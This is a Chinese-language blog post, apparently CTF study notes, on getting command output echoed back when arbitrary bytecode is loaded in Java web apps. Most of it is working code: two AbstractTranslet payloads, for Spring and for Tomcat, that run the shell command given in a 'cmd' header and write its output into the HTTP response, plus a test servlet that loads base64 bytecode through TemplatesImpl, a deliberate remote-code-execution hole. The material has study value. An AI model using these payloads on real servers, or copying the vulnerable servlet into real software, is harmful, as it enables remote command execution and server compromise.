任意加载字节码下的回显

  1. 1. 任意加载字节码下的回显
    1. 1.1. spring
    2. 1.2. tomcat
    3. 1.3. 其他

任意加载字节码下的回显

spring

之前题目也用到过很多次了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;

public class springevil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public springevil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}

简单看一下,先是从线程里获取类加载器,加载了org.springframework.web.context.request.RequestContextHolder

springMVC中,为了方便随时获取当前的request对象,可以通过RequestContextHolder的静态方法getRequestAttributes()获取Request相关的变量,如request, response等。

1649919226199.png

知道org.springframework.web.context.request.RequestContextHolder的作用了,能获取到request和response了之后就很简单了。

tomcat

之前学过tomcat有三种回显方式,基于linux文件描述符,基于ThreadLocal和全局存储的Response三种方式。这里就用第三种。

稍微改一下就能用了

总的就是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;


public class TomcatEcho extends AbstractTranslet {
public TomcatEcho() {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext) context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService) service.get(ApplicationContext);

Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);

Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
AbstractProtocol abstractProtocol = (AbstractProtocol) protocolHandler.get(connector[0]);

Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handler.setAccessible(true);
AbstractEndpoint.Handler AChandler = (AbstractEndpoint.Handler) handler.get(abstractProtocol);

Field global = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) global.get(AChandler);

Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);

Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {

org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.connector.Request").getDeclaredMethod("getHeader",String.class);
String cmd = (String)getHeader.invoke(request2, "cmd");
// String cmd = "ls";
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
response2.getWriter().write(new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());


}
} catch (Exception e) {
e.printStackTrace();
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

可以写一段测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package Servlet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;

@WebServlet(name = "EchoServlet", urlPatterns = {"/Test"})
public class EchoTest extends HttpServlet {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
String text = req.getParameter("base64");
byte[] code =
Base64.getDecoder().decode(text);
TemplatesImpl obj = new TemplatesImpl();
try {
setFieldValue(obj, "_bytecodes", new byte[][] {code});
} catch (Exception e) {
e.printStackTrace();
}
try {
setFieldValue(obj, "_name", "HelloTemplatesImpl");
} catch (Exception e) {
e.printStackTrace();
}
try {
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
} catch (Exception e) {
e.printStackTrace();
}
try {
obj.newTransformer();
} catch (TransformerConfigurationException e) {
e.printStackTrace();
}


}
}

效果

1649925992859.png

其他

还有一个是虎符CTF ezchain的一个原生环境下的回显,这里不记了